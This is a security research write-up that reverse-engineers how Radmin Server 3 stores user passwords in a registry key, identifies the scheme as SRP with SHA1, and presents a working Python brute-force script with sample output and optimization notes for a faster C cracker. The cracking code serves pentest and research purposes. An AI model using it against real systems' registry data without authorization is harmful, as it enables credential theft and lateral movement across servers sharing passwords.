# Cracking Radmin Server 3 passwords

- 17/09/2021 - dansRadmin Server 3 is a remote administration software for Windows, used by companies to access their servers.

What would happen if you had access to one of those servers during a pentest, knowing others were using the same credentials? It turns out extracting the password from a local Radmin Server 3 user is not so simple. The full process, from reverse-engineering the hashing function to optimizing the password cracker, will be explained in this post.

## Finding user data

The first step of this journey was to locate the Radmin user's data. To achieve this, a dynamic approach

using the Process Monitor from Microsoft's Sysinternals was enough.

By filtering the processes using "rserver3.exe" as a name and adding a new user in the Radmin Server

settings, activity related to the storage of the new user may appear.

Indeed, the program writes information related to the user into a registry key:

By exporting the registry key, we are left with this blob of data:

```
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Radmin\v3.0\Server\Parameters\Radmin Security\1]
"1"=hex:10,00,00,10,6a,00,6f,00,6e,00,61,00,74,00,68,00,61,00,6e,00,30,00,01,\
00,98,47,fc,7e,0f,89,1d,fd,5d,02,f1,9d,58,7d,8f,77,ae,c0,b9,80,d4,30,4b,01,\
13,b4,06,f2,3e,2c,ec,58,ca,fc,a0,4a,53,e3,6f,b6,8e,0c,3b,ff,92,cf,33,57,86,\
b0,db,e6,0d,fe,41,78,ef,2f,cd,2a,4d,d0,99,47,ff,d8,df,96,fd,0f,9e,29,81,a3,\
2d,a9,55,03,34,2e,ca,9f,08,06,2c,bd,d4,ac,2d,7c,df,81,0d,b4,db,96,db,70,10,\
22,66,26,1c,d3,f8,bd,d5,6a,10,2f,c6,ce,ed,bb,a5,ea,e9,9e,61,27,bd,d9,52,f7,\
a0,d1,8a,79,02,1c,88,1a,e6,3e,c4,b3,59,03,87,f5,48,59,8f,2c,b8,f9,0d,ea,36,\
fc,4f,80,c5,47,3f,db,6b,0c,6b,db,0f,db,af,46,01,f5,60,dd,14,91,67,ea,12,5d,\
b8,ad,34,fd,0f,d4,53,50,de,c7,2c,fb,3b,52,8b,a2,33,2d,60,91,ac,ea,89,df,d0,\
6c,9c,4d,18,f6,97,24,5b,d2,ac,92,78,b9,2b,fe,7d,ba,fa,a0,c4,3b,40,a7,1f,19,\
30,eb,c4,fd,24,c9,e5,a2,e5,a4,cc,f5,d7,f5,15,44,d7,0b,2b,ca,4a,f5,b8,d3,7b,\
37,9f,d7,74,0a,68,2f,40,00,00,01,05,50,00,00,20,16,25,7c,87,78,bc,06,b3,6d,\
35,8a,21,58,eb,26,89,f4,84,d0,a2,57,42,05,0c,5b,ad,ef,0a,f3,a6,d2,83,60,00,\
01,00,1a,ea,28,ec,fa,04,94,09,64,39,6b,fd,b2,f3,e2,02,1c,76,19,82,d1,98,ba,\
ab,e7,66,8f,df,66,1b,e1,b0,36,53,bd,2a,69,24,17,10,f1,cc,49,2c,f7,f4,7a,45,\
3e,a6,c0,c7,df,b2,53,27,e2,c0,7b,a9,b5,c6,81,30,ee,ff,5b,15,c5,df,1d,87,f4,\
a3,d9,67,5a,6f,f1,94,30,ea,b7,6f,ff,b1,68,55,b5,83,72,d8,d5,cf,bf,42,2a,67,\
d3,04,e5,58,60,17,b8,9e,52,c9,17,66,64,eb,61,fe,d2,a4,d4,3c,a4,d9,fc,33,cd,\
7e,8a,b0,15,76,4e,6a,38,94,af,ad,eb,f9,87,db,36,e1,b0,48,7b,83,59,86,02,b4,\
9c,91,e2,6b,51,cc,d8,9c,71,9c,f9,64,4f,89,fa,e5,a6,9f,7b,4d,c7,3a,c5,e8,b7,\
eb,f1,e0,2e,7c,49,73,59,20,7f,24,14,31,fc,25,7c,5c,99,56,99,a4,cc,b6,26,d0,\
15,85,9a,70,27,aa,fd,f0,08,04,4e,c7,05,21,de,f1,d5,9c,43,dd,e0,64,47,77,dc,\
51,bb,39,17,59,20,a0,f6,04,0d,91,67,f6,85,69,57,3b,70,39,0c,72,9a,d4,30,d6,\
6e,77,9a,b8,1c,b1,a8,8a,20,00,00,04,ff,01,00,00
```

It is some kind of **TLV** (Type, Length, Value) format, and this Python function

can extract its contents:

```
def parsekey(key):
patstart = "=hex:"
key = key[key.find(patstart)+len(patstart):]
key = list(map(lambda x:int(x,16),key.replace(" ","").replace("\n","").replace("\\","").split(",")))
content = {}
i=0
while i<len(key):
dtyp = key[i+1]*0x100+key[i]
dlen = key[i+2]*0x100+key[i+3]
i+=4
content[dtyp] = (bytes(key[i:i+dlen]))
i+=dlen
print("Username :",content[16].replace(b"\x00",b""))
print("unk2 :",content[48].hex())
print("unk3 :",content[64].hex())
print("unk4 :",content[80].hex())
print("unk5 :",content[96].hex())
print("perms :",content[32].hex())
```

This is the output for the test user (jonathan:bonjour0)

```
Username : b'jonathan'
unk2 : 9847fc7e0f891dfd5d02f19d587d8f77aec0b980d4304b0113b406f23e2cec58cafca04a53e36fb68e0c3bff92cf335786b0dbe60dfe4178ef2fcd2a4dd09947ffd8df96fd0f9e2981a32da95503342eca9f08062cbdd4ac2d7cdf810db4db96db70102266261cd3f8bdd56a102fc6ceedbba5eae99e6127bdd952f7a0d18a79021c881ae63ec4b3590387f548598f2cb8f90dea36fc4f80c5473fdb6b0c6bdb0fdbaf4601f560dd149167ea125db8ad34fd0fd45350dec72cfb3b528ba2332d6091acea89dfd06c9c4d18f697245bd2ac9278b92bfe7dbafaa0c43b40a71f1930ebc4fd24c9e5a2e5a4ccf5d7f51544d70b2bca4af5b8d37b379fd7740a682f
unk3 : 05
unk4 : 16257c8778bc06b36d358a2158eb2689f484d0a25742050c5badef0af3a6d283
unk5 : 1aea28ecfa04940964396bfdb2f3e2021c761982d198baabe7668fdf661be1b03653bd2a69241710f1cc492cf7f47a453ea6c0c7dfb25327e2c07ba9b5c68130eeff5b15c5df1d87f4a3d9675a6ff19430eab76fffb16855b58372d8d5cfbf422a67d304e5586017b89e52c9176664eb61fed2a4d43ca4d9fc33cd7e8ab015764e6a3894afadebf987db36e1b0487b83598602b49c91e26b51ccd89c719cf9644f89fae5a69f7b4dc73ac5e8b7ebf1e02e7c497359207f241431fc257c5c995699a4ccb626d015859a7027aafdf008044ec70521def1d59c43dde0644777dc51bb39175920a0f6040d9167f68569573b70390c729ad430d66e779ab81cb1a88a
perms : ff010000
```

The first value is the username, and the last is related to user permissions. The others seem related to the password,

but their format does not look familiar (yet).

## Reverse-engineering the hashing function

The whole binary is statically compiled, there are no symbols, and very few external library calls. This makes locating the user-creation process harder, but there were still several ways to get to it, such as using the registry key write as a starting point and following the code back to the creation of its elements. However, an even faster approach would be to start from known cryptographic functions. I used this simple tool to locate some of those functions in the binary: https://www.aldeid.com/wiki/PEiD

This tool was indeed able to locate some common cryptographic functions, such as hash functions, likely to be used during

the generation of the password-related data previously uncovered.

Using x64dbg, it seemed the program was using anti-debug countermeasures, as debugging the program during a login attempt was leading to a suspicious crash. But it turned out not to be the case, at least not on the code related to the creation or deletion of new users in the server configuration.

After placing breakpoints on the hash functions located by PEiD, the one corresponding to **SHA1** triggered when creating

a new user. Furthermore, after running past a few breaks, the username "jonathan" is passed as an argument, confirming

a relation between the use of this hash function and user creation:

Inspecting the call stack gives us the addresses of functions leading up to this point:

After reversing the functions mentioned in the call stack and renaming their contents, the location highlighted above seems particularly interesting:

Here is the Python translation of what this function does:

`shahash = hashlib.sha1(salt+hashlib.sha1(username+b":"+password).digest()).digest()`

**salt** being a 32-byte value generated in the previous function, equal to the **unk4** value parsed from the registry key,

and **username** and **password** being represented in **UTF16**. This is only the first part of the hashing process, and the purpose of the other **unk** values from the registry key is still unknown at this point.

One last step involves those values, in the **hash_postprocess** function, but this part was not so easy to understand using static analysis. It takes as input the hash calculated above, and creates a new **Bignum** value. A simple dynamic approach was taken, feeding the function with small values by changing the input manually in the debugger, and looking

at the output:

Input |
Output |

0 | 1 |

1 | 5 |

2 | 25 |

3 | 125 |

4 | 625 |

It seems like **Output == 5 ^{Input}**. 5 corresponds to the

**unk3**element of the registry key. But this does not hold true when

**Input**is big, and in those cases the

**Output**value seems to always be the same order of magnitude as

**unk2**, but smaller than

**unk2**.

Another interesting information is that **unk2** seems constant for any username or password, so it is not derived

from the hash. Using this information, we can lay out this hypothesis: **Output == unk3 ^{Input }mod unk2**. This was experimentally verified with several big values.

The following Python code is equivalent to this last function:

`final_hash = pow(unk3,int(shahash.hex(),16),unk2)`

The **final_hash** value corresponds to **unk5** in the registry key. With this last bit of information, we have

all the necessary elements to carry out a brute-force attack on the registry key:

```
import hashlib
import sys
import argparse
parser = argparse.ArgumentParser(description='Dump (and bruteforce) Radmin Server 3 creds')
parser.add_argument('regkey', metavar='regkey.txt')
parser.add_argument('--wordlist', help='wordlist for bruteforce', default=None)
args = parser.parse_args()
wordlist = args.wordlist
key = open(args.regkey).read()
def to_utf16(st):
newar = []
for l in st:
newar.append(l)
newar.append(0)
return bytes(newar)
def parsekey(key):
patstart = "=hex:"
key = key[key.find(patstart)+len(patstart):]
key = list(map(lambda x:int(x,16),key.replace(" ","").replace("\n","").replace("\\","").split(",")))
content = {}
i=0
while i<len(key):
dtyp = key[i+1]*0x100+key[i]
dlen = key[i+2]*0x100+key[i+3]
i+=4
content[dtyp] = (bytes(key[i:i+dlen]))
i+=dlen
username = content[16]
modulus = content[48]
g = content[64]
salt = content[80]
hashh = content[96]
print("Username :",username.replace(b"\x00",b""))
print("Modulus :",modulus.hex())
print("Generator :",g.hex())
print("Salt :",salt.hex())
print("Verifier :",hashh.hex())
return username,modulus,g,salt,hashh
username,modulus,g,salt,hashh = parsekey(key)
modulus = int(modulus.hex(),16)
g = int(g.hex(),16)
hashh = int(hashh.hex(),16)
if wordlist:
n = 0
for line in open(wordlist,"rb").readlines():
n+=1
if(n%1000)==0:print(n)
passw = to_utf16(line.strip())
concat = username+b":"+passw
shahash = hashlib.sha1(salt+hashlib.sha1(concat).digest()).digest()
if pow(g,int(shahash.hex(),16),modulus) == hashh:
print("PASSWORD : ",passw.decode("utf8"))
exit()
```

```
$ python3 hash_dumper.py regkey.txt --wordlist ./test.txt
Username : jonathan
Modulus : 9847fc7e0f891dfd5d02f19d587d8f77aec0b980d4304b0113b406f23e2cec58cafca04a53e36fb68e0c3bff92cf335786b0dbe60dfe4178ef2fcd2a4dd09947ffd8df96fd0f9e2981a32da95503342eca9f08062cbdd4ac2d7cdf810db4db96db70102266261cd3f8bdd56a102fc6ceedbba5eae99e6127bdd952f7a0d18a79021c881ae63ec4b3590387f548598f2cb8f90dea36fc4f80c5473fdb6b0c6bdb0fdbaf4601f560dd149167ea125db8ad34fd0fd45350dec72cfb3b528ba2332d6091acea89dfd06c9c4d18f697245bd2ac9278b92bfe7dbafaa0c43b40a71f1930ebc4fd24c9e5a2e5a4ccf5d7f51544d70b2bca4af5b8d37b379fd7740a682f
Generator : 05
Salt : 16257c8778bc06b36d358a2158eb2689f484d0a25742050c5badef0af3a6d283
Verifier : 1aea28ecfa04940964396bfdb2f3e2021c761982d198baabe7668fdf661be1b03653bd2a69241710f1cc492cf7f47a453ea6c0c7dfb25327e2c07ba9b5c68130eeff5b15c5df1d87f4a3d9675a6ff19430eab76fffb16855b58372d8d5cfbf422a67d304e5586017b89e52c9176664eb61fed2a4d43ca4d9fc33cd7e8ab015764e6a3894afadebf987db36e1b0487b83598602b49c91e26b51ccd89c719cf9644f89fae5a69f7b4dc73ac5e8b7ebf1e02e7c497359207f241431fc257c5c995699a4ccb626d015859a7027aafdf008044ec70521def1d59c43dde0644777dc51bb39175920a0f6040d9167f68569573b70390c729ad430d66e779ab81cb1a88a
PASSWORD : bonjour0
```

The password "bonjour0" is found from the supplied wordlist, meaning the implementation is correct! Of course, additional tests were made to confirm it.

It turns out that this algorithm is not custom-made, but is an implementation of the "**Secure Remote Password**" (**SRP**)

protocol, using SHA1 as hash function. The number 5 is named **generator**, the first calculated hash is

named **exponent**, and the final hash is named **verifier**. Knowing those values is not enough to connect,

or even to perform passive or active **Man-in-the-Middle **attacks without knowledge of the password.

The final exponentiation also makes the password hard to crack if the modulus and generator are correctly chosen,

as it becomes a very slow operation relative to the first part of the hashing process, and is not easily reversible.

## Optimizing the password cracker

The Python implementation being very slow, a first iteration of a C implementation was made by Thibault Guittet.

Despite a huge speedup, there were still ways to optimize the algorithm. The first and most obvious one being an implementation of multi-threaded cracking.

The next step was implementing our own modular exponentiation, instead of using **BN_mod_exp** at every iteration.

As the generator does not change for each try, caching the consecutive squares of the generator reduces the exponentiation

operation to an average of 80 modular multiplications.

Let's explain how using 16-bits exponent instead of a 160-bits exponent, for clarity. All following operations are implicitly mod N.

When caching the consecutive squares of a generator **G**, using our current optimization, we effectively cache:

**G**^{0b0000000000000001}**G**^{0b0000000000000010}**G**^{0b0000000000000100}^{....}**G**^{0b1000000000000000}

After that, if we want, for example, **G**^{0b0010000000001001}, we can compute

**G ^{0b0010000000000000} * G^{0b0000000000000001} * G^{0b0000000000001000}**

For each bit of the base-2 representation of the exponent, a 1 will represent a modular multiplication with

one of the cached values, and a 0 will represent no operation.

The average number of multiplications for a random exponent of 16 bits would then be 7 (with 8 values multiplied together).

As the exponent on the "real" algorithm corresponds to a SHA1 output, there will be on average 80 "1" bits on a total of 160 bits,

so the average number of modular multiplications would be 79.

In practice, this first optimization reduced by 30% the total time for 100 000 different hash computations,

when compared to the same code using **BN_mod_exp** instead of the custom exponentiation.

This is an improvement, but not a huge one. Fortunately, it is possible to push this optimization further, and this

can be visualized by using a different base to represent the exponent of the 16-bit example from before.

In the precedent example, we cached the results from all possible exponent values with one non-zero digit in base 2.

Now, we will cache the results from all possible exponent values with one non-zero digit in base 16.

**G**^{0x0001}**G**^{0x0002}^{...}**G**^{0x000f}**G**^{0x0010}**G**^{0x0020}^{...}**G**^{0xe000}**G**^{0xf000}

This represents more values than before! In fact, there are 16*4=64 different cached values, instead of just 16.

But now, if we want to compute G^{E} with E being a random 16-bit value, we only need 3 modular multiplications!

Here is the operation with E=0x4d6f as an example:

**G ^{0x4d6f} = G^{0x4000} * G^{0x0d00} * G^{0x0060} * G^{0x000f}**

This technique can be used with base 2 or base 16, but would also be valid for any base. In this small example, we could even use the base 65536, effectively caching all possible values and reducing the number of necessary multiplications to zero.

Of course, for 160-bit exponents, we cannot cache all the values, but using 2 as a base for the cache, as we did in

the initial approach, is also far from optimal. The base **2 ^{16}=65536** was empirically chosen, requiring to cache

**65536*(160/16)=655360**different values. This process lasts a few seconds, but needs to be performed only once for

a given generator, and could be stored on the disk to avoid recomputing it in the future, even if this feature is not

implemented.

Here are the hashrates (in hashes per second) for each implementation, measured on a Lenovo T490 laptop :

Method | Hashrate (H/s) |
---|---|

Single-thread Python | 800 |

Single-thread C with BN_mod_exp |
8000 |

Multithread C with BN_mod_exp |
26000 |

Single-thread C with custom exp | 57000 |

Multithread C with custom exp | 200000 |

The C implementation is available at https://github.com/synacktiv/Radmin3-Password-Cracker, and the base used by the cache can be adjusted by modifying **CHUNK_LEN**.